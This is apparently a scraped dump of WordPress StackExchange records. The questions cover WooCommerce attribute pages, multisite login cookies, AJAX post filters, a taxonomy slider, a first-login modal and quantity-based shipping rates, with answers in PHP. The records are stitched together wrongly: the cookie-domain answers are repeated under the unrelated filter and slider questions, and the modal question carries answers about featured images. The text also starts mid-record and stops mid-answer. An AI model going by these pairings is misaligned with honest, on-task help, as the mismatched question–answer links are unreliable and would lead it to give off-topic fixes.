] | I'm trying to figure out how to customize the attribute page (for example, if i click on a link to the "length" attribute with a term of "7 inches", wordpress will echo all products that have a length attribute with term 7. My question is, how do I customize such a page?
Hope this is clear.
Thanks! | @TimothyKA your solution might return true when you visit an attribute page however, it will return true on any taxonomy page ( and possibly it will produce PHP warnings on all the rest ).
You need to create a conditional function that returns true only when you are working on an attribute page. The following should work just fine:
```
function my_is_wc_attribute() {
/**
* Attributes are proper taxonomies, therefore first thing is
* to check if we are on a taxonomy page using the is_tax().
* Also, a further check if the taxonomy_is_product_attribute
* function exists is necessary, in order to ensure that this
* function does not produce fatal errors when the WooCommerce
* is not activated
*/
if ( is_tax() && function_exists( 'taxonomy_is_product_attribute') ) {
// now we know for sure that the queried object is a taxonomy
$tax_obj = get_queried_object();
return taxonomy_is_product_attribute( $tax_obj->taxonomy );
}
return false;
}
```
After adding the above function to your functions.php, you may create as many filters and actions to customize your attribute pages. For example, the following filter allows you to manipulate only the attributes title:
```
function my_single_term_title_filter( $attribute_title ) {
if ( my_is_wc_attribute() ) {
// do your stuff here
}
return $attribute_title;
}
add_filter( 'single_term_title', 'my_single_term_title_filter' );
```
Don't forget to replace the *my\_* prefixes with your own prefix, to avoid function naming conflicts. |
333,434 | <p>I am using WordPress multisite setup to set the following structure</p>
<pre><code>example.com
sub1.examples.com
example.net
</code></pre>
<p><em>Note that this is a single multisite setup, but it has two main domains and a subdomain.</em></p>
<p>I followed the steps <a href="https://wordpress.stackexchange.com/questions/284325/multiple-domains-and-subdomains-using-multisite-installation#284328">described here</a> to perform the setup.</p>
<p>Then, after adding <code>example.net</code> to the sites list, I tried to go to its <strong>dashboard</strong> in the admin section. Once I did that, I was presented with a login screen. When I try to login, I receive the following error</p>
<pre><code>ERROR: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.
</code></pre>
<p>After further investigation, I found <a href="https://wordpress.stackexchange.com/questions/166181/cant-log-in-error-cookies-are-blocked-or-not-supported-by-your-browser-you#247648">this answer</a>, which suggests adding <code>define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);</code> to <strong>wp-config.php</strong>. I did that, and now things worked. I was able to login to the site <code>example.net</code>, but with a caveat. </p>
<p>The new problem is described as follows. Assuming I am in the WordPress backend, logged in to <code>example.com</code>, and I try to go to <code>example.net</code>. Once I do, I am presented with the login screen again to login to <code>example.net</code>. I would not get that login screen if I go to <code>sub1.example.com</code> from <code>example.com</code>. </p>
<p>I have the following questions:</p>
<ol>
<li><p>Why is this happening? In other words, why am I presented with a new login screen every time I try to switch between <code>example.com</code> and <code>example.net</code>?</p></li>
<li><p>How can I prevent this from happeneing? I does not seem right. It looks like this is not a good solution to the problem. There might be another better way to fix this login issue.</p></li>
<li><p>What does <code>define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);</code> actually do?</p></li>
</ol>
<p>Thanks.</p>
| [
{
"answer_id": 333437,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 2,
"selected": true,
"text": "<p>When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE_DOMAIN sets the scope of this:</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies</a></p>\n\n<p>i.e. the browser will only send the cookie back to sites that match its scope. i.e.</p>\n\n<ul>\n<li>if you log into example.com, WordPress will give you a 'wordpress_logged_in' cookie scoped to example.com.</li>\n<li>if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress_logged_in cookie.</li>\n<li>if you go to example.net, this is out of scope for the example.com wordpress_logged_in cookie and so it is not sent to example.net.</li>\n</ul>\n\n<p>How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.</p>\n\n<p>There are plugins that exist to solve this, e.g. <a href=\"https://wordpress.org/plugins/wp-multisite-sso/\" rel=\"nofollow noreferrer\">WP Multisite SSO</a>. I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work!</p>\n"
},
{
"answer_id": 396715,
"author": "Kakemphaton",
"author_id": 81081,
"author_profile": "https://wordpress.stackexchange.com/users/81081",
"pm_score": 0,
"selected": false,
"text": "<p>Just wanted to note that inserting <code>define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);</code> in <strong>wp-config.php</strong> is the only solution I found to make Wordpress multisite (network) work with separate domains per site (Nginx).</p>\n"
}
] | 2019/04/04 | [
"https://wordpress.stackexchange.com/questions/333434",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/34253/"
] | I am using WordPress multisite setup to set the following structure
```
example.com
sub1.examples.com
example.net
```
*Note that this is a single multisite setup, but it has two main domains and a subdomain.*
I followed the steps [described here](https://wordpress.stackexchange.com/questions/284325/multiple-domains-and-subdomains-using-multisite-installation#284328) to perform the setup.
Then, after adding `example.net` to the sites list, I tried to go to its **dashboard** in the admin section. Once I did that, I was presented with a login screen. When I try to login, I receive the following error
```
ERROR: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.
```
After further investigation, I found [this answer](https://wordpress.stackexchange.com/questions/166181/cant-log-in-error-cookies-are-blocked-or-not-supported-by-your-browser-you#247648), which suggests adding `define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);` to **wp-config.php**. I did that, and now things worked. I was able to login to the site `example.net`, but with a caveat.
The new problem is described as follows. Assuming I am in the WordPress backend, logged in to `example.com`, and I try to go to `example.net`. Once I do, I am presented with the login screen again to login to `example.net`. I would not get that login screen if I go to `sub1.example.com` from `example.com`.
I have the following questions:
1. Why is this happening? In other words, why am I presented with a new login screen every time I try to switch between `example.com` and `example.net`?
2. How can I prevent this from happeneing? I does not seem right. It looks like this is not a good solution to the problem. There might be another better way to fix this login issue.
3. What does `define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);` actually do?
Thanks. | When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE\_DOMAIN sets the scope of this:
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies>
i.e. the browser will only send the cookie back to sites that match its scope. i.e.
* if you log into example.com, WordPress will give you a 'wordpress\_logged\_in' cookie scoped to example.com.
* if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress\_logged\_in cookie.
* if you go to example.net, this is out of scope for the example.com wordpress\_logged\_in cookie and so it is not sent to example.net.
How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.
There are plugins that exist to solve this, e.g. [WP Multisite SSO](https://wordpress.org/plugins/wp-multisite-sso/). I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work! |
333,452 | <p>I have two different pages, with filters. Those two pages, have different layouts and styles.</p>
<p>I have three different filters for one page, where the output and style is the same.</p>
<p>For the “newsfilter” I need a different style. So I guess I need another loop?</p>
<p>How do I output two different loops? My current functions.php is:</p>
<pre><code>function misha_filter_function(){
$args = array(
'orderby' => 'date', // we will sort posts by date
'order' => $_POST['date'] // ASC или DESC
);
$args = array(
'tax_query' => array(
'relation' => 'AND',
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['ownerfilter'],
),
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['locationfilter'],
),
)
);
$args = array(
'tax_query' => array(
'relation' => 'AND',
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['newsfilter'],
),
)
);
$relation = 'AND';
if( isset( $_POST['timefilter'] ) )
$args['tax_query'] = array(
'relation' => $relation,
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['timefilter']
),
);
$query = new WP_Query( $args );
if( $query->have_posts() ) :
while( $query->have_posts() ): $query->the_post(); ?>
<!-- post -->
<a href="<?php the_permalink()?>">
<div class="col-md-3 col-sm-6 ver-item">
<?php $thumb = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full' );?>
<div class="thumb" style="background-image:url('<?php echo $thumb['0'];?>');"></div>
<section>
<time><?php echo get_the_date();?></time>
<h3><?php the_title();?></h3>
<span><!-- underline --></span>
</section>
</div>
</a>
<?php endwhile;
wp_reset_postdata(); else :
echo 'Geen resultaten, probeer het opnieuw.';
endif;
die();
}
add_action('wp_ajax_myfilter', 'misha_filter_function');
add_action('wp_ajax_nopriv_myfilter', 'misha_filter_function');
</code></pre>
<p>The filter results of the “newsfilter” need to get a different output and style. How can I do that?</p>
<p>Thanks in advance,</p>
<p>Thomas.</p>
<p>I’ve tried changing the $args to another name, that didn’t work. I’ve also tried adding a complete new function (news_filter_functions instead of misha_filter_function).</p>
| [
{
"answer_id": 333437,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 2,
"selected": true,
"text": "<p>When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE_DOMAIN sets the scope of this:</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies</a></p>\n\n<p>i.e. the browser will only send the cookie back to sites that match its scope. i.e.</p>\n\n<ul>\n<li>if you log into example.com, WordPress will give you a 'wordpress_logged_in' cookie scoped to example.com.</li>\n<li>if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress_logged_in cookie.</li>\n<li>if you go to example.net, this is out of scope for the example.com wordpress_logged_in cookie and so it is not sent to example.net.</li>\n</ul>\n\n<p>How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.</p>\n\n<p>There are plugins that exist to solve this, e.g. <a href=\"https://wordpress.org/plugins/wp-multisite-sso/\" rel=\"nofollow noreferrer\">WP Multisite SSO</a>. I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work!</p>\n"
},
{
"answer_id": 396715,
"author": "Kakemphaton",
"author_id": 81081,
"author_profile": "https://wordpress.stackexchange.com/users/81081",
"pm_score": 0,
"selected": false,
"text": "<p>Just wanted to note that inserting <code>define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);</code> in <strong>wp-config.php</strong> is the only solution I found to make Wordpress multisite (network) work with separate domains per site (Nginx).</p>\n"
}
] | 2019/04/04 | [
"https://wordpress.stackexchange.com/questions/333452",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164436/"
] | I have two different pages, with filters. Those two pages, have different layouts and styles.
I have three different filters for one page, where the output and style is the same.
For the “newsfilter” I need a different style. So I guess I need another loop?
How do I output two different loops? My current functions.php is:
```
function misha_filter_function(){
$args = array(
'orderby' => 'date', // we will sort posts by date
'order' => $_POST['date'] // ASC или DESC
);
$args = array(
'tax_query' => array(
'relation' => 'AND',
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['ownerfilter'],
),
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['locationfilter'],
),
)
);
$args = array(
'tax_query' => array(
'relation' => 'AND',
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['newsfilter'],
),
)
);
$relation = 'AND';
if( isset( $_POST['timefilter'] ) )
$args['tax_query'] = array(
'relation' => $relation,
array(
'taxonomy' => 'post_tag',
'field' => $cat_id,
'terms' => $_POST['timefilter']
),
);
$query = new WP_Query( $args );
if( $query->have_posts() ) :
while( $query->have_posts() ): $query->the_post(); ?>
<!-- post -->
<a href="<?php the_permalink()?>">
<div class="col-md-3 col-sm-6 ver-item">
<?php $thumb = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full' );?>
<div class="thumb" style="background-image:url('<?php echo $thumb['0'];?>');"></div>
<section>
<time><?php echo get_the_date();?></time>
<h3><?php the_title();?></h3>
<span><!-- underline --></span>
</section>
</div>
</a>
<?php endwhile;
wp_reset_postdata(); else :
echo 'Geen resultaten, probeer het opnieuw.';
endif;
die();
}
add_action('wp_ajax_myfilter', 'misha_filter_function');
add_action('wp_ajax_nopriv_myfilter', 'misha_filter_function');
```
The filter results of the “newsfilter” need to get a different output and style. How can I do that?
Thanks in advance,
Thomas.
I’ve tried changing the $args to another name, that didn’t work. I’ve also tried adding a complete new function (news\_filter\_functions instead of misha\_filter\_function). | When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE\_DOMAIN sets the scope of this:
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies>
i.e. the browser will only send the cookie back to sites that match its scope. i.e.
* if you log into example.com, WordPress will give you a 'wordpress\_logged\_in' cookie scoped to example.com.
* if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress\_logged\_in cookie.
* if you go to example.net, this is out of scope for the example.com wordpress\_logged\_in cookie and so it is not sent to example.net.
How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.
There are plugins that exist to solve this, e.g. [WP Multisite SSO](https://wordpress.org/plugins/wp-multisite-sso/). I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work! |
333,504 | <p>I have a custom taxonomy page, it also has a slider up top. The problem is the slider displays random posts from all taxonomies rather than the current taxonomy. Is there a way to filter the images in the slider so it would only use the current taxonomy? </p>
<pre><code><?php
global $taxonomy_location_url, $taxonomy_profile_url;
$args = array(
'post_type' => $taxonomy_profile_url,
'orderby' => 'rand',
'meta_query' => array( array('key' => 'featured', 'value' => '1', 'compare' => '=', 'type' => 'NUMERIC') ),
'posts_per_page' => get_option("slideritems")
);
$q = query_posts($args);
if ( have_posts()) :
while ( have_posts() ) : the_post();
$category = wp_get_post_terms(get_the_ID(), $taxonomy_location_url);
$linktitle = get_the_title();
$imagealt = get_the_title();
?>
</code></pre>
| [
{
"answer_id": 333437,
"author": "Rup",
"author_id": 3276,
"author_profile": "https://wordpress.stackexchange.com/users/3276",
"pm_score": 2,
"selected": true,
"text": "<p>When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE_DOMAIN sets the scope of this:</p>\n\n<p><a href=\"https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies</a></p>\n\n<p>i.e. the browser will only send the cookie back to sites that match its scope. i.e.</p>\n\n<ul>\n<li>if you log into example.com, WordPress will give you a 'wordpress_logged_in' cookie scoped to example.com.</li>\n<li>if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress_logged_in cookie.</li>\n<li>if you go to example.net, this is out of scope for the example.com wordpress_logged_in cookie and so it is not sent to example.net.</li>\n</ul>\n\n<p>How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.</p>\n\n<p>There are plugins that exist to solve this, e.g. <a href=\"https://wordpress.org/plugins/wp-multisite-sso/\" rel=\"nofollow noreferrer\">WP Multisite SSO</a>. I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work!</p>\n"
},
{
"answer_id": 396715,
"author": "Kakemphaton",
"author_id": 81081,
"author_profile": "https://wordpress.stackexchange.com/users/81081",
"pm_score": 0,
"selected": false,
"text": "<p>Just wanted to note that inserting <code>define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST']);</code> in <strong>wp-config.php</strong> is the only solution I found to make Wordpress multisite (network) work with separate domains per site (Nginx).</p>\n"
}
] | 2019/04/04 | [
"https://wordpress.stackexchange.com/questions/333504",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/145461/"
] | I have a custom taxonomy page, it also has a slider up top. The problem is the slider displays random posts from all taxonomies rather than the current taxonomy. Is there a way to filter the images in the slider so it would only use the current taxonomy?
```
<?php
global $taxonomy_location_url, $taxonomy_profile_url;
$args = array(
'post_type' => $taxonomy_profile_url,
'orderby' => 'rand',
'meta_query' => array( array('key' => 'featured', 'value' => '1', 'compare' => '=', 'type' => 'NUMERIC') ),
'posts_per_page' => get_option("slideritems")
);
$q = query_posts($args);
if ( have_posts()) :
while ( have_posts() ) : the_post();
$category = wp_get_post_terms(get_the_ID(), $taxonomy_location_url);
$linktitle = get_the_title();
$imagealt = get_the_title();
?>
``` | When you log in, WordPress sets a cookie in your browser to mark you as authenticated. The COOKIE\_DOMAIN sets the scope of this:
<https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies>
i.e. the browser will only send the cookie back to sites that match its scope. i.e.
* if you log into example.com, WordPress will give you a 'wordpress\_logged\_in' cookie scoped to example.com.
* if you go to sub1.example.com, then this matches the example.com scope and so your browser will send the wordpress\_logged\_in cookie.
* if you go to example.net, this is out of scope for the example.com wordpress\_logged\_in cookie and so it is not sent to example.net.
How to make this work? You need a mechanism where example.net will make a request to example.com as part of the login process (or in the background when you visit the site) to check if you're logged in there, and if so the sites exchange a signed token which will authenticate you to example.net and so it can set a logged in cookie for you. StackExchange, for example, have a separate domain stackauth.com for just that. Or trigger this at login time one example.com so it calls out to example.net at the same time to set cookies there. Or delegate the login to example.com so you just have to click the login button on example.net and it'll redirect to example.com, find that you're signed in there and redirect you back to a 'authenticate me here too' endpoint on example.net with a signed token - so you do still have to click 'login' but not enter your credentials again.
There are plugins that exist to solve this, e.g. [WP Multisite SSO](https://wordpress.org/plugins/wp-multisite-sso/). I haven't tried it myself and so can't recommend it. It would be an interesting problem to code up yourself, but it's going to be a fair amount of work! |
333,523 | <p>Attempting to create a Welcome Modal for first time users on initial login to my Multisite network.
I'm using code from this tutorial <a href="https://wp-mix.com/wordpress-first-user-login/" rel="nofollow noreferrer">https://wp-mix.com/wordpress-first-user-login/</a>
I can see the User meta updating in the database, but the modal code will not insert when wrapped in this function. Modal code works otherwise.</p>
<p>I suspect it's either something to do with adding the function within the function, or a priority thing. But not sure where to go from here.</p>
<pre><code>/**
* Set User meta.
*/
function fyc_register_add_meta( $user_id ) {
add_user_meta( $user_id, '_new_user', '1' );
}
add_action( 'user_register', 'fyc_register_add_meta' );
/**
* Loads pop-up on first login.
*/
function shapeSpace_first_user_login($user_login, $user) {
$new_user = get_user_meta( $user->ID, '_new_user', true );
if ( $new_user ) {
update_user_meta( $user->ID, '_new_user', '0' );
/**
* Embed modal in footer
*/
function fsc_display_modal_first_login() { ?>
<div class="welcome-modal">
<header>
<h1>Welcome!</h1>
</header>
</div>
<?php
}
add_action( 'in_admin_footer', 'fsc_display_modal_first_login' );
}
}
add_action( 'wp_login', 'shapeSpace_first_user_login', 10, 2 );
</code></pre>
| [
{
"answer_id": 333530,
"author": "Pixelsmith",
"author_id": 66368,
"author_profile": "https://wordpress.stackexchange.com/users/66368",
"pm_score": 1,
"selected": true,
"text": "<p>Sorry you're having trouble with the featured image. Some details that will help the community solve the question: What theme are you using?</p>\n\n<p>Without knowing what theme you're using, one approach you might try is removing the featured image from the post/page, then click update. If the featured image is removed, you might then be able to choose another featured image.</p>\n\n<p>Another option would be to stop using the Media pop up window and updated the featured image from the Featured Image meta box on the Edit Post screen.</p>\n\n<p><strong>Edit to add the solution from the comments</strong></p>\n\n<p>If you tried the above and it didn't work, the next thing to do is switch themes, then attempt to change the featured image. If that works, then the issue is with the theme, and you might need a new copy of the theme. If that doesn't work, try deactivating all your plugins and then attempting to change it. There may be a plugin conflict as well. </p>\n"
},
{
"answer_id": 333645,
"author": "hessam hosseinipour",
"author_id": 160944,
"author_profile": "https://wordpress.stackexchange.com/users/160944",
"pm_score": -1,
"selected": false,
"text": "<p>1- remove the image from your library,</p>\n\n<p>2- change the image name in your pc,</p>\n\n<p>3- upload it again,</p>\n\n<p>I don't know why this works, but i had the same problem and i do this every time,\nit will definitely works, hope it helps you</p>\n"
},
{
"answer_id": 333664,
"author": "jsmod",
"author_id": 160457,
"author_profile": "https://wordpress.stackexchange.com/users/160457",
"pm_score": 0,
"selected": false,
"text": "<p>If the image is not changing on the <strong>front-end</strong>, then it could be a <strong>cache</strong> issue. </p>\n\n<p>The solution to fix that would depend on if you are using any cache plugin and which one, but sometimes simply clearing the browser cache works.</p>\n\n<p>However, from your mention above of Facebook and your other question here on OpenGraph, then in your specific situation it could be that Facebook is not picking up the new image in WordPress.</p>\n\n<p>You can use the Facebook debug tool and copy the URL of the WordPress page to it to see if there are any errors with your Featured Image thumbnail.</p>\n\n<p>And/or you could use an alternative method to give Facebook explicit orders on what image to use.</p>\n\n<p>I don't personally use a WordPress/Facebook setup so I cannot supplement my answer with screenshots and sample code (sorry!), but if you feel this is indeed what you need to solve your issue then you'll be able to find a lot of tutorials online on <a href=\"https://www.google.com/search?client=firefox-b-d&q=how+to+get+Facebook+to+use+the+Featured+Image+of+your+WordPress+page\" rel=\"nofollow noreferrer\">how to get Facebook to use the Featured Image of your WordPress page</a>, such as this one example <a href=\"https://kinsta.com/knowledgebase/facebook-debugger/\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>I hope you find this information helpful and that it solves your issue.</p>\n"
}
] | 2019/04/04 | [
"https://wordpress.stackexchange.com/questions/333523",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/62672/"
] | Attempting to create a Welcome Modal for first time users on initial login to my Multisite network.
I'm using code from this tutorial <https://wp-mix.com/wordpress-first-user-login/>
I can see the User meta updating in the database, but the modal code will not insert when wrapped in this function. Modal code works otherwise.
I suspect it's either something to do with adding the function within the function, or a priority thing. But not sure where to go from here.
```
/**
* Set User meta.
*/
function fyc_register_add_meta( $user_id ) {
add_user_meta( $user_id, '_new_user', '1' );
}
add_action( 'user_register', 'fyc_register_add_meta' );
/**
* Loads pop-up on first login.
*/
function shapeSpace_first_user_login($user_login, $user) {
$new_user = get_user_meta( $user->ID, '_new_user', true );
if ( $new_user ) {
update_user_meta( $user->ID, '_new_user', '0' );
/**
* Embed modal in footer
*/
function fsc_display_modal_first_login() { ?>
<div class="welcome-modal">
<header>
<h1>Welcome!</h1>
</header>
</div>
<?php
}
add_action( 'in_admin_footer', 'fsc_display_modal_first_login' );
}
}
add_action( 'wp_login', 'shapeSpace_first_user_login', 10, 2 );
``` | Sorry you're having trouble with the featured image. Some details that will help the community solve the question: What theme are you using?
Without knowing what theme you're using, one approach you might try is removing the featured image from the post/page, then click update. If the featured image is removed, you might then be able to choose another featured image.
Another option would be to stop using the Media pop up window and updated the featured image from the Featured Image meta box on the Edit Post screen.
**Edit to add the solution from the comments**
If you tried the above and it didn't work, the next thing to do is switch themes, then attempt to change the featured image. If that works, then the issue is with the theme, and you might need a new copy of the theme. If that doesn't work, try deactivating all your plugins and then attempting to change it. There may be a plugin conflict as well. |
333,554 | <p>We need to run WooCommerce flat rate shipping rate based on every X items in the cart, for example:</p>
<ul>
<li>1-5 Items: Delivery = £5</li>
<li>6-10 Items: Delivery = £10</li>
<li>11-15 Items: Delivery = £15 </li>
<li><em>and so on…</em></li>
</ul>
<p>It's essentially £1 per item, but it's in brackets of £5, so 3 items would be £5, and 7 items would be £10, for example. </p>
<p>I'm hoping this is achievable with the out of the box shipping rates, or alternatively, I'd be relatively comfortable writing a theme function, if required - but the client has a limited budget on this.</p>
<p>I've tried looking for more reference on the available shortcodes that I can use in the advanced shipping options, but can't seem to find a way to achieve the above.</p>
| [
{
"answer_id": 334163,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 3,
"selected": true,
"text": "<p>For that, you need to use a hooked function in <code>woocommerce_package_rates</code> filter hook, targeting \"Flat rate\" shipping method.</p>\n\n<p>In shipping settings for <strong>flat rate</strong> shipping method you will <strong>set a cost of <code>5</code></strong>.</p>\n\n<p>Each 5 items <strong>step</strong>, the shipping cost will be increased by 5: <br>\n• From 1 to 5 Items: Delivery = <strong><code>5</code></strong> <br>\n• From 6 to 10 Items: Delivery = <strong><code>10</code></strong> <br>\n• From 11 to 15 Items: Delivery = <strong><code>15</code></strong> <br>\n• <em>And so on…</em></p>\n\n<p>Here is the code:</p>\n\n<pre><code>add_filter( 'woocommerce_package_rates', 'different_rates_based_on_quantity_steps', 10, 2 );\nfunction different_rates_based_on_quantity_steps( $rates, $package ){\n\n $items_count = WC()->cart->get_cart_contents_count(); // Cart item count\n $items_change = 5; // number of items needed to increase the cost each time\n $rate_operand = ceil( $items_count / $items_change ); // Operand increase each 5 items here\n\n foreach ( $rates as $rate_key => $rate ){\n // Targetting \"Flat rate\"\n if( 'flat_rate' === $rate->method_id ) {\n $has_taxes = false;\n\n // Set the new cost\n $rates[$rate_key]->cost = $rate->cost * $rate_operand;\n\n // Taxes rate cost (if enabled)\n foreach ($rates[$rate_key]->taxes as $key => $tax){\n if( $tax > 0 ){\n // New tax calculated cost\n $taxes[$key] = $tax * $rate_operand;\n $has_taxes = true;\n }\n }\n // Set new taxes cost\n if( $has_taxes )\n $rates[$rate_key]->taxes = $taxes;\n }\n }\n return $rates;\n}\n</code></pre>\n\n<p>Code goes in function.php file of your active child theme (or active theme). tested and works.</p>\n\n<blockquote>\n <p><strong>Refresh the shipping caches:</strong> <em>(required)</em></p>\n \n <ol>\n <li>This code is already saved on your active theme's function.php file.</li>\n <li>The cart is empty</li>\n <li>In a shipping zone settings, disable / save any shipping method, then enable back / save.</li>\n </ol>\n</blockquote>\n"
},
{
"answer_id": 355335,
"author": "Mateo Rivera",
"author_id": 180314,
"author_profile": "https://wordpress.stackexchange.com/users/180314",
"pm_score": 0,
"selected": false,
"text": "<p>To add a specific class you must check each item in the cart, and check with the slug of the class which items correspond, in this way:</p>\n\n<p>First add the woocommerce_package_rates filter</p>\n\n<pre><code>add_filter( 'woocommerce_package_rates', 'different_rates_based_on_quantity_steps', 10, 2 );\n</code></pre>\n\n<p>Then insert the function</p>\n\n<pre><code>function different_rates_based_on_quantity_steps ( $rates, $package ){\n\n$slug_class_shipping = 'books'; // Slug of the shipping class\n$step_change = 5; // Steps for item\n$item_count = 0;\n\n// Checking in cart items\nforeach( WC()->cart->get_cart() as $cart_item ){\n\n// If we find the shipping class\nif( $cart_item['data']->get_shipping_class() == $slug_class_shipping ){\n\n$item_count += $cart_item['quantity']; // Cart item count\n$rate_operand = ceil( $item_count / $step_change ); // Operand increase each # items here\n\nforeach ( $rates as $rate_key => $rate ){\n // Targetting \"Flat rate\"\n if( 'flat_rate' === $rate->method_id ) {\n $has_taxes = false;\n\n // Set the new cost\n $rates[$rate_key]->cost = $rate->cost * $rate_operand;\n\n // Taxes rate cost (if enabled)\n foreach ($rates[$rate_key]->taxes as $key => $tax){\n if( $tax > 0 ){\n // New tax calculated cost\n $taxes[$key] = $tax * $rate_operand;\n $has_taxes = true;\n }\n }\n // Set new taxes cost\n if( $has_taxes )\n $rates[$rate_key]->taxes = $taxes;\n }\n} return $rates;\n} break; } } \n</code></pre>\n"
},
{
"answer_id": 366081,
"author": "PedroSimao",
"author_id": 167774,
"author_profile": "https://wordpress.stackexchange.com/users/167774",
"pm_score": 1,
"selected": false,
